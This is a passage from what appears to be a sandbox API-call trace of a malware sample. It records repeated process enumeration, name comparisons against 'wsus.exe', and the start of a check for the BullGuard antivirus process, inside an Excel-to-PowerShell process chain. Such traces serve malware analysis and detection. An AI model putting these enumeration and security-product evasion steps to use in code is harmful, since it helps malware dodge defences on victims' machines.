th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.118] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.119] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.119] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.119] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.119] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.119] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.120] lstrcmpA (lpString1="powershell.exe", lpString2="wsus.exe") returned -1 [0074.120] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.120] lstrcmpA (lpString1="cmd_.exe", lpString2="wsus.exe") returned -1 [0074.120] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.145] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0074.145] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.146] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.146] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.146] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.146] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.147] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.147] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.147] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.147] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.148] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.148] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.148] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.148] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.149] lstrcmpA (lpString1="cmd.exe", lpString2="wsus.exe") returned -1 [0074.149] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.149] lstrcmpA (lpString1="net.exe", lpString2="wsus.exe") returned -1 [0074.149] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.150] lstrcmpA (lpString1="conhost.exe", lpString2="wsus.exe") returned -1 [0074.150] Process32Next (in: hSnapshot=0x118, lppe=0x18f188 | out: lppe=0x18f188*(dwSize=0x128, cntUsage=0x730075, th32ProcessID=0x65002e, th32DefaultHeapID=0x650078, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0074.150] CloseHandle (hObject=0x118) returned 1 [0074.150] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.152] Process32First (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.152] lstrcmpA (lpString1="[System Process]", lpString2="wsus.exe") returned -1 [0074.152] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.153] lstrcmpA (lpString1="System", lpString2="wsus.exe") returned -1 [0074.153] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.153] lstrcmpA (lpString1="smss.exe", lpString2="wsus.exe") returned -1 [0074.153] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.153] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0074.153] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.154] lstrcmpA (lpString1="wininit.exe", lpString2="wsus.exe") returned -1 [0074.154] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.154] lstrcmpA (lpString1="csrss.exe", lpString2="wsus.exe") returned -1 [0074.154] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.155] lstrcmpA (lpString1="winlogon.exe", lpString2="wsus.exe") returned -1 [0074.155] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.155] lstrcmpA (lpString1="services.exe", lpString2="wsus.exe") returned -1 [0074.155] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.156] lstrcmpA (lpString1="lsass.exe", lpString2="wsus.exe") returned -1 [0074.156] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.156] lstrcmpA (lpString1="lsm.exe", lpString2="wsus.exe") returned -1 [0074.156] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.157] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.157] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.157] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.157] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.158] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.158] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.158] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.158] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.158] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.159] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.159] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.159] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.159] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.159] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.160] lstrcmpA (lpString1="spoolsv.exe", lpString2="wsus.exe") returned -1 [0074.160] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.160] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0074.160] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.161] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.161] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.161] lstrcmpA (lpString1="taskeng.exe", lpString2="wsus.exe") returned -1 [0074.161] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.162] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.162] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.162] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0074.162] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.163] lstrcmpA (lpString1="sppsvc.exe", lpString2="wsus.exe") returned -1 [0074.163] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.163] lstrcmpA (lpString1="dwm.exe", lpString2="wsus.exe") returned -1 [0074.163] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.163] lstrcmpA (lpString1="explorer.exe", lpString2="wsus.exe") returned -1 [0074.164] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.164] lstrcmpA (lpString1="audiodg.exe", lpString2="wsus.exe") returned -1 [0074.164] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.164] lstrcmpA (lpString1="svchost.exe", lpString2="wsus.exe") returned -1 [0074.164] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.165] lstrcmpA (lpString1="WmiPrvSE.exe", lpString2="wsus.exe") returned -1 [0074.165] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.165] lstrcmpA (lpString1="taskhost.exe", lpString2="wsus.exe") returned -1 [0074.165] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.166] lstrcmpA (lpString1="ghana-reaction.exe", lpString2="wsus.exe") returned -1 [0074.166] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.166] lstrcmpA (lpString1="survive recipes.exe", lpString2="wsus.exe") returned -1 [0074.166] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.167] lstrcmpA (lpString1="wiley listprice immigration mn.exe", lpString2="wsus.exe") returned -1 [0074.167] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.167] lstrcmpA (lpString1="temp la various.exe", lpString2="wsus.exe") returned -1 [0074.167] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.168] lstrcmpA (lpString1="metropolitan storm.exe", lpString2="wsus.exe") returned -1 [0074.168] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.168] lstrcmpA (lpString1="thats-viewing-llc.exe", lpString2="wsus.exe") returned -1 [0074.168] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.169] lstrcmpA (lpString1="houses.exe", lpString2="wsus.exe") returned -1 [0074.169] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.169] lstrcmpA (lpString1="renewal.exe", lpString2="wsus.exe") returned -1 [0074.169] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.169] lstrcmpA (lpString1="zones transferred trainers.exe", lpString2="wsus.exe") returned 1 [0074.169] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.170] lstrcmpA (lpString1="courses ham.exe", lpString2="wsus.exe") returned -1 [0074.170] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.170] lstrcmpA (lpString1="canon.exe", lpString2="wsus.exe") returned -1 [0074.170] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.171] lstrcmpA (lpString1="fairlysettingoperational.exe", lpString2="wsus.exe") returned -1 [0074.171] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.171] lstrcmpA (lpString1="claimed desk.exe", lpString2="wsus.exe") returned -1 [0074.171] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.172] lstrcmpA (lpString1="mel_ds_cancelled.exe", lpString2="wsus.exe") returned -1 [0074.172] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.172] lstrcmpA (lpString1="appears_li_pressed_h.exe", lpString2="wsus.exe") returned -1 [0074.172] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.173] lstrcmpA (lpString1="quite-consumer-opera.exe", lpString2="wsus.exe") returned -1 [0074.173] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.173] lstrcmpA (lpString1="tile-conflict-specializing-authentic.exe", lpString2="wsus.exe") returned -1 [0074.173] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.174] lstrcmpA (lpString1="unlimited breakdown.exe", lpString2="wsus.exe") returned -1 [0074.174] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.174] lstrcmpA (lpString1="aluminiumglmessagesymptoms.exe", lpString2="wsus.exe") returned -1 [0074.174] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.175] lstrcmpA (lpString1="EXCEL.EXE", lpString2="wsus.exe") returned -1 [0074.175] Process32Next (in: hSnapshot=0x118, lppe=0x18f184 | out: lppe=0x18f184*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.182] lstrcpyW (in: lpString1=0x18ee98, lpString2="BullGuard.exe" | out: lpString1="BullGuard.exe") returned="BullGuard.exe" [0074.182] lstrlenW (lpString="BullGuard.exe") returned 13 [0074.182] CharUpperBuffW (in: lpsz="BullGuard.exe", cchLength=0xd | out: lpsz="BULLGUARD.EXE") returned 0xd [0074.182] Process32FirstW (in: hSnapshot=0x118, lppe=0x18ec6c | out: lppe=0x18ec6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 